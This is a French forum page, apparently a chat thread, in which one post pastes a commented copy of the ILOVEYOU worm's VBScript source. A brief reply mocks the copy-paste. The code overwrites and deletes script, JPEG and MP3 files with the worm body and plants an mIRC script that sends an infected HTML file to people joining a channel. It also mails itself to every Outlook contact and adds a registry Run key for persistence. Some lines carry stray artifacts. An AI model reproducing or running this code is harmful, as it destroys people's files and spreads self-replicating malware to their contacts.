      regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank" Suppression de la page de démarrage, qui est actuellement le cheval de troie à télécharger  
    end if  
  end sub  
 
Listadriv
 
Cette fonction infecte tous les disques durs (ou amovibles) de l'ordinateur.
 
  sub listadriv Liste tous les disques de la machine pour l'infection  
    On Error Resume Next  
    Dim d,dc,s  
    Set dc = fso.Drives Liste des Lecteurs (Disques dur, ...)  
    For Each d in dc Pour chaque disque  
      If d.DriveType = 2 or d.DriveType = 3 Then S'il s'agit d'un disque dur ou d'un disque amovible  
        folderlist(d.path & "\" ) Appel de folderlist pour faire un parcours des dossiers du disque  
      end if  
    Next  
    listadriv = s  
  end sub  
 
Infectfiles
 
Cette partie du virus "infecte" les fichiers vbs, vbe, js, jse, css, wsh, sct, hta (qui sont effacés et remplacés par le code du virus). Les fichiers *.jpg et *.jpeg sont effacés apres avoir créé des copies du virus *.jpg.vbs et *.jpeg.vbs, les fichiers *.mp3 et *.mp2 son chachés (cfr attributs de fichiers) et des fichiers *.mp3.vbs et *.mp2.vbs sont créés, contenant ... le code du virus, eh oui !!! Si le virus trouve un répertoire contenant mirc, le fichier script.ini est écrasé et remplacé par un code envoyant automatiquement le code du virus(au format html) à toute personne se joignant a un channel ou l'ordinateur infecté se trouve.
 
  sub infectfiles(folderspec) = 20 Infecte les fichiers du dossier actuel  
    On Error Resume Next  
    dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 Déclaration des variables  
    set f = fso.GetFolder(folderspec)  
    set fc = f.Files  
    for each f1 in fc Pour chaque fichier du directory  
      ext = fso.GetExtensionName(f1.path) Récupération de l'extension du fichier  
      ext = lcase(ext) Mise de l'extension en minuscules  
      s = lcase(f1.name) Mise du nom de fichier en minuscule  
      if (ext = "vbs" ) or (ext = "vbe" ) then s'il s'agit d'un VBS ou d'un VBE.  
        set ap = fso.OpenTextFile(f1.path, 2, true) Ouverture du fichier.  
        ap.write vbscopy Ecriture tu code du virus sur le fichier  
        ap.close Fermeture du fichier  
      elseif(ext = "js" ) or (ext = "jse" ) or (ext = "css" ) or (ext = "wsh" ) or (ext = "sct" ) or (ext = "hta" ) then S'il s'agit d'un JS, d'un JSE, CSS, WSH, SCT ou HTA  
        set ap = fso.OpenTextFile(f1.path,2,true) Ouverture du fichier  
        ap.write vbscopy Copie du virus  
        ap.close Fermeture du fichier  
        bname = fso.GetBaseName(f1.path) bname : nom du fichier source  
        set cop = fso.GetFile(f1.path) cop : nom du fichier du virus (= au nom du fichier source)  
        cop.copy(folderspec & "\" & bname & ".vbs" ) Copie du fichier modifié, avec l'extension .VBS en plus  
        fso.DeleteFile(f1.path) Supression du fichier original  
      elseif(ext = "jpg" ) or (ext = "jpeg" ) then S'il s'agit d'un JPG (ou JPEG)  
        set ap = fso.OpenTextFile(f1.path,2,true) Ouverture du fichier  
        ap.write vbscopy Copie du code du virus  
        ap.close Fermeture du fichier  
        set cop = fso.GetFile(f1.path) Nom du fichier "infecté"  
        cop.copy(f1.path & ".vbs" ) Copie du fichier "infecté" sous le nouveau nom  
        fso.DeleteFile(f1.path) Supression du fichier original  
      elseif(ext = "mp3" ) or (ext = "mp2" ) then S'il s'agit d'un MP3 ou d'un MP2  
        set mp3 = fso.CreateTextFile(f1.path & ".vbs" ) Création du fichier .mp3.vbs (ou .mp2.vbs)  
        mp3.write vbscopy Copie du code du virus  
        mp3.close Fermeture du fichier mp3-mp2  
        set att = fso.GetFile(f1.path)  
        att.attributes = att.attributes + 2 Rend le fichier actuel caché  
      end if  
      if (eq<>folderspec) then  
        if (s = "mirc32.exe" ) or (s = "mlink32.exe" ) or (s = "mirc.ini" ) or (s = "script.ini" ) or (s = "mirc.hlp" ) then Si le fichier actuel est un fichier mirc,  
          set scriptini = fso.CreateTextFile(folderspec & "\script.ini" ) on créé un fichier script  
          scriptini.WriteLine "[script]" Ecriture du contenu du fichier script  
          scriptini.WriteLine ";mIRC Script"  
          scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"  
          scriptini.WriteLine "   corrupt... WINDOWS will affect and will not run correctly. thanks"  
          scriptini.WriteLine ";"  
          scriptini.WriteLine ";Khaled Mardam-Bey"  
          scriptini.WriteLine ";http://www.mirc.com"  
          scriptini.WriteLine ";"  
          scriptini.WriteLine "n0 = on 1:JOIN:#:{" Quand une personne arrive sur le channel  
          scriptini.WriteLine "n1 = /if ( $nick == $me ) { halt }" si cette personne n'est pas nous-même  
          scriptini.WriteLine "n2 = /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" Envoi du fichier .htm infecté  
          scriptini.WriteLine "n3=}"  
          scriptini.close Fermeture du fichier script  
          eq = folderspec  
        end if  
      end if  
    next = 20  
  end sub  
 
Folderlist
 
Cette partie du virus infecte les fichiers du dossier actuel et "liste" tout les sous dossiers (il se rapelle lui même pour traiter les sous-dossiers).
 
  sub folderlist(folderspec) = 20 Récupère les sous dossiers du dossier actuel  
    On Error Resume Next  
    dim f,f1,sf  
    set f = fso.GetFolder(folderspec) = 20 Ouverture du dossier  
    set sf = f.SubFolders Lecture des sous dossiers  
    for each f1 in sf Pour chaque sous dossier  
      infectfiles(f1.path) Infeccter les fichiers (cadre ci-dessous)  
      folderlist(f1.path) Rappel de la fonction actuelle (pour continuer le parcours des dossiers)  
    next = 20  
  end sub  
 
Regcreate
 
Cette partie du virus créé une clé(entrée) dans la base de registres
 
  sub regcreate(regkey, regvalue) Créé une clé dans la base de registres  
    Set regedit = CreateObject("WScript.Shell" ) Creation d'un objet WScript  
    regedit.RegWrite regkey, regvalue Ecriture dans la base de registre du couple clé, valeur  
  end sub  
 
Regget
 
Cette partie du virus lit une entrée de la base de registres
 
  function regget(value) Retourne la valeur d'une clé se trouvant dans la base de registres  
    Set regedit = CreateObject("WScript.Shell" ) Création d'un objet WScript  
    regget = regedit.RegRead(value) Lecture de la valeur  
  end function  
 
Fileexist
 
Cette fonction vérifie si un fichier existe.
 
  function fileexist(filespec) Teste si le fichier existe  
    On Error Resume Next  
    dim msg  
    if (fso.FileExists(filespec)) Then Si le fichier existe  
      msg = 0 Alors msg = 0  
    else  
      msg = 1 Sinon, msg = 1  
    end if  
    fileexist = msg retourne msg  
  end function  
 
Folderexist
 
Cette fonction vérifie si un dossier existe.
 
  function folderexist(folderspec) Teste si un dossier existe bien  
    On Error Resume Next  
    dim msg  
    if (fso.GetFolderExists(folderspec)) then Si le dossier existe  
      msg = 0  
    else  
      msg = 1  
    end if  
    fileexist = msg retourne msg comme valeur  
  end function  
 
Spreadtoemail
 
Cette fonction envoyant à la contact-list de Outlook-Express le code du virus (au format txt.vbs) en fichier joint.
 
  sub spreadtoemail() Fonction pour la propagation par e-mail  
    On Error Resume Next  
    dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad  
    set regedit = CreateObject("WScript.Shell" )  
    set out = WScript.CreateObject("Outlook.Application" ) Création d'un objet Outlook  
    set mapi = out.GetNameSpace("MAPI" )  
    for ctrlists = 1 to mapi.AddressLists.Count Pour chaque liste d'addr. du carnet d'addresse d'Outlook Express  
      set a = mapi.AddressLists(ctrlists) Sélectionne la liste actuelle  
      x = 1  
      regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a) Verification (dans la base de registres) si on a déja envoyé le virus à ce(ces) contact(s)  
      if (regv = "" ) then S'il n'y a qu'une entrée dans la liste  
        regv = 1  
      end if  
      if (int(a.AddressEntries.Count) > int(regv)) then Si le nombre d'addr. a augmenté  
        for ctrentries = 1 to a.AddressEntries.Count Pour chaque addr.  
          malead = a.AddressEntries(x)  
          regad = ""  
          regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead) Lecture dans la base de registres  
          if (regad = "" ) then Si on n'a pas encore envoyé le virus à cette addr.  
            set male = out.CreateItem(0) Creation du mail  
            male.Recipients.Add(malead)  
            male.Subject = "ILOVEYOU" Ecriture de l'e-mail infecté  
            male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from me."  
            male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs" ) Attachement du virus au mail  
            male.Send Envoi du mail  
            Regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead, 1, "REG_DWORD" Indique dans la base de registre qu'on a envoyé un mail à cette personne  
          end if  
          x = x + 1  
        next  
        regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count Ecriture du nombre actuel d'addr. dans la base de registres  
      else  
        regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count Ecriture du nombre actuel d'addr. dans la base de registres  
      end if  
    next  
    Set out = Nothing  
    Set mapi = Nothing  
  end sub  
 
Html
 
Cette fonction créé le fichier HTML envoyé par mIRC.
 
  sub html  
    On Error Resume Next  
    dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6  
    dta1 = "<HTML> Code HTML pour le fichier  
                 <HEAD>  
                   <TITLE>LOVELETTER - HTML</TITLE>  
                   <META NAME="Generator" CONTENT="BAROK VBS - LOVELETTER"> Entêtes et descriptions  
                   <META NAME="Author" CONTENT="spyder - ispyder@mail.com @GRAMMERSoft Group - Manila, Philippines - March 2000">  
                   <META NAME="Description" CONTENT="simple but i think this is good...">"    
                 </HEAD>  
                 <BODY ONMOUSEOUT="window.name = 'main'; window.open('OVE-LETTER-FOR-YOU.HTM', 'main') ONKEYDOWN="window.name = 'main'; window.open('LOVE-LETTER-FOR-YOU.HTM','main') "BGPROPERTIES="fixed" BGCOLOR="#FF9933">"  Début du corps du fichier HTML, avec une réouverture automatique de la page  
                   <CENTER><p>This HTML file need ActiveX Control</p> Affiche qu'il faut activer ActiveX pour visualiser la page  
                   <p>To Enable to read this HTML file<BR>  
                   - Please press 'YES' button to Enable ActiveX</p></CENTER>  
                   <MARQUEE LOOP="infinite" BGCOLOR="yellow">----------z--------------------z----------</MARQUEE> Affichage d'une petite animation  
                 </BODY>  
                 </HTML>    Fin du contenu de la page  
                 <SCRIPT language="JScript"><!--// Début du code du virus  
                   if (window.screen) {    
                     var wi = screen.availWidth; Dimensions maximum de la fenètre  
                     var hi = screen.availHeight;  
                     window.moveTo(0,0); Mise de la page en plein écran  
                     window.resizeTo(wi,hi);  
                   } //-->  
                 </SCRIPT>  
                 <SCRIPT LANGUAGE="VBScript"><!--  
                   on error resume next  
                   dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit  
                   aw = 1  
                   setfso = CreateObject("Scripting.FileSystemObject" )  
                   set dirsystem = fso.GetSpecialFolder(1) Ouvre le répertoire système  
                   code2 = replace(code, chr(91) & chr(45) & chr(91), chr(39)) Remplace les caractères spéciaux pour permettre la reproduction  
                   code3 = replace(code2, chr(93) & chr(45) & chr(93), chr(34))  
                   code4 = replace(code3, chr(37) & chr(45) & chr(37), chr(92))  
                   setwri = fso.CreateTextFile(dirsystem & "\MSKernel32.vbs" ) Créé le fichier "système" du virus  
                   wri.write code4 Ecriture du code du virus  
                   wri.close Fermeture du fichier  
                   if (fso.FileExists(dirsystem & "/MSKernel32.vbs" )) then Si le fichier "système" existe  
                     if (err.number = 424) then  
                       aw = 0  
                     end if  
                     if (aw = 1) then S'il y a eu une erreur  
                       document.write "ERROR: can't initialize ActiveX" Affichage d'une erreur ActiveX  
                       window.close  
                     end if  
                   end if  
                   Set regedit = CreateObject("WScript.Shell" )  
                   regedit.RegWrite "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run/MSKernel32", dirsystem & "/MSKernel32.vbs" Indique que le code du virus doir être exécuté au démarrage de Windows  
                 //--></SCRIPT>" Fin du script  
    dt1 = replace(dta1, chr(35) & chr(45) & chr(35), " '   " ) Remplace les caractères spéciaux pour permettre la reproduction  
    dt1 = replace(dt1,  chr(64) & chr(45) & chr(64), " "" " )  
    dt4 = replace(dt1,  chr(63) & chr(45) & chr(63), " /  " )  
    dt5 = replace(dt4,  chr(94) & chr(45) & chr(94), " \  " )    
    dt2 = replace(dta2, chr(35) & chr(45) & chr(35), " '   " )  
    dt2 = replace(dt2,  chr(64) & chr(45) & chr(64), " "" " )  
    dt3 = replace(dt2,  chr(63) & chr(45) & chr(63), " /  " )  
    dt6 = replace(dt3,  chr(94) & chr(45) & chr(94), " \  " )  
    set fso = CreateObject("Scripting.FileSystemObject" )  
    set c = fso.OpenTextFile(WScript.ScriptFullName,1)  
    lines = Split(c.ReadAll,vbcrlf)  
    l1 = ubound(lines)  
    for n=0 to ubound(lines)  
      lines(n) = replace(lines(n), " '   ", chr(91) + chr(45) + chr(91)) Remplace les caractères spéciaux pour permettre la reproduction  
      lines(n) = replace(lines(n), " "" ", chr(93) + chr(45) + chr(93))  
      lines(n) = replace(lines(n), " \   ", chr(37) + chr(45) + chr(37))  
      if (l1 = n) then  
        lines(n) = chr(34) + lines(n) + chr(34)  
      else  
        lines(n) = chr(34) + lines(n) + chr(34) & " & vbcrlf & _"  
      end if  
    next  
    set b = fso.CreateTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM" ) Création du fitier HTM contenant le virus pour envoi par irc  
    b.close  
    set d = fso.OpenTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM",2) Ouverture du fichier HTM  
    d.write dt5 Ecriture du code du virus  
    d.write join(lines, vbcrlf)  
    d.write vbcrlf  
    d.write dt6  
    d.close Fermeture du HTM  
  end sub  

n°1262642
mareek
Et de 3 \o/
Posté le 09-12-2005 à 15:04:04  profilanswer
 

Doudoule> le topic copier coller c'est pas ici :o


---------------
"I wonder if the internal negative pressure in self pumping toothpaste tubes is adjusted for different market altitudes." John Carmack
mood
Publicité
Posté le   profilanswer
 

 Page :   1  2  3  4  5  ..  9387  9388  9389  ..  26991  26992  26993  26994  26995  26996

Aller à :
Ajouter une réponse
 

Sujets relatifs
Plus de sujets relatifs à : [blabla@olympe] Le topic du modo, dieu de la fibre et du monde


Copyright © 1997-2025 Groupe LDLC (Signaler un contenu illicite / Données personnelles)